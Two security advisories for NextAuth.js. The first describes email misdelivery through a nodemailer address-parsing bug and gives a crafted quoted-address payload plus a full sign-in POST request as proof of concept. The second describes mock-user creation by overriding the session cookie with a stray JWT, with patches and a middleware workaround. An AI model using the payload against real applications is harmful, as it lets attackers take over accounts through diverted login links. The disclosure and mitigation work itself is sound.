NextAuthjs Email misdelivery Vulnerability

Summary

NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in nodemailer's address parser used by the project (fixed in nodemailer v7.0.7). A crafted input such as:

"e@attacker.com"@victim.com

is parsed incorrectly and results in the message being delivered to e@attacker.com (attacker) instead of "<e@attacker.com>@victim.com" (the intended recipient at victim.com) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.

Affected NextAuthjs Version

≤ Version	Afftected
4.24.11	Yes
5.0.0-beta.29	Yes

POC

Example Setup showing misdelivery of email

import NextAuth from "next-auth"
import Nodemailer from "next-auth/providers/nodemailer"
import { PrismaAdapter } from "@auth/prisma-adapter"
import { prisma } from "@/lib/prisma"

export const { handlers, auth, signIn, signOut } = NextAuth({
  adapter: PrismaAdapter(prisma),
  providers: [
    Nodemailer({
      server: {
        host: "127.0.0.1",
        port: 1025,
        ...
      },
      from: "noreply@authjs.dev",
    }),
  ],
  pages: {
    signIn: '/auth/signin',
    verifyRequest: '/auth/verify-request',
  },
})

POST /api/auth/signin/nodemailer HTTP/1.1
Accept-Encoding: gzip, deflate, br, zstd
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 176
DNT: 1
Host: localhost:3000
Origin: http://localhost:3000
Pragma: no-cache
Referer: http://localhost:3000/auth/signin
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
accept: */*
accept-language: en-US,en;q=0.9,ta;q=0.8
content-type: application/x-www-form-urlencoded
sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
x-auth-return-redirect: 1

email=%22e%40attacker.coccm%22%40victim.com&csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a&callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2Fsignin

Mitigation

Update to nodemailer 7.0.7

Credits

https://zeropath.com/ Helped identify this security issue

Possible user mocking that bypasses basic authentication

Impact

next-auth applications prior to version 4.24.5 that rely on the default Middleware authorization are affected.

A bad actor could create an empty/mock user, by getting hold of a NextAuth.js-issued JWT from an interrupted OAuth sign-in flow (state, PKCE or nonce).

Manually overriding the next-auth.session-token cookie value with this non-related JWT would let the user simulate a logged in user, albeit having no user information associated with it. (The only property on this user is an opaque randomly generated string).

This vulnerability does not give access to other users' data, neither to resources that require proper authorization via scopes or other means. The created mock user has no information associated with it (ie. no name, email, access_token, etc.)

This vulnerability can be exploited by bad actors to peek at logged in user states (e.g. dashboard layout).

Note: Regardless of the vulnerability, the existence of a NextAuth.js session state can provide simple authentication, but not authorization in your applications. For role-based access control, you can check out our guide.

Patches

We patched the vulnerability in next-auth v4.24.5. To upgrade, run one of the following:

npm i next-auth@latest

yarn add next-auth@latest

pnpm add next-auth@latest

Workarounds

Upgrading to latest is the recommended way to fix this issue. However, using a custom authorization callback for Middleware, developers can manually do a basic authentication:

// middleware.ts
import { withAuth } from "next-auth/middleware"

export default withAuth(/*your middleware function*/, {
  // checking the existence of any property - besides `value` which might be a random string - on the `token` object is sufficient to prevent this vulnerability
  callbacks: { authorized: ({ token }) => !!token?.email }
})

References

• NextAuth.js Middleware
• Role-based access contorl (RBAC) guide